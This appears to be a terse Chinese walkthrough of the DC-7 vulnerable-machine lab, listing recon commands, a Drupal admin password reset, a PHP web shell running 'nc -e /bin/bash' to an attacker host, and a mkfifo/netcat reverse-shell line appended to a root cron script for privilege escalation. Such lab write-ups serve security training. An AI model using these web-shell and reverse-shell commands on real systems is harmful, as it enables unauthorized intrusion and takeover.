DC-7

#主机探测

1
arpscan -l

D7arpscan

#端口探测

1
nmap -F T4 -sS -sV 1192.168.43.11

D7-nmap

#指纹识别

1
whatweb 192.168.43.11 

D7-插件

​​D7-whatweb

#目录爆破

1
dirsearch -u 192.168.43.11

D7-dirsearch

#web页面

#drupal 8.7.6版本 –DC7USER–github源码–得到账密

​![屏幕截图 2023-10-17 145609](assets/屏幕截图 2023-10-17 145609-20231017150411-5tl1kdc.png)

D7-8.7.6

#ssh登录 —You have mail

1
ssh [email protected]

D7-ssh

​​D7-ssh2

#查看mail

1
cat mbox

#/opt/scripts/backups.sh

1
一个定时任务

D7-var.html

#改admin 密码

1
drush user-password admin  --password="admin"

D7-gai密码

#登录web界面 –上🐎子

1
2
3
4
5
6
7
<?php system('nc -e /bin/bash 192.168.43.33 8888') ?>

kali:
nc -lvvp 8888

python -c "import pty;pty.spawn('/bin/bash')"
whoami

#kali反弹shell —www-data

D7-web🐎子

​![D7-kali-NC (2)](assets/D7-kali-NC 2-20231017150511-38fu6zy.png)​

#提权root

1
2
3
4
kali:
nc -lvvp 9998
www-data:
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.43.33 9998 >/tmp/f" >> backups.sh

D7-提权

​​![屏幕截图 2023-10-17 144414](assets/屏幕截图 2023-10-17 144414-20231017150530-rjnwlx2.png)​

#FLAG

D-flag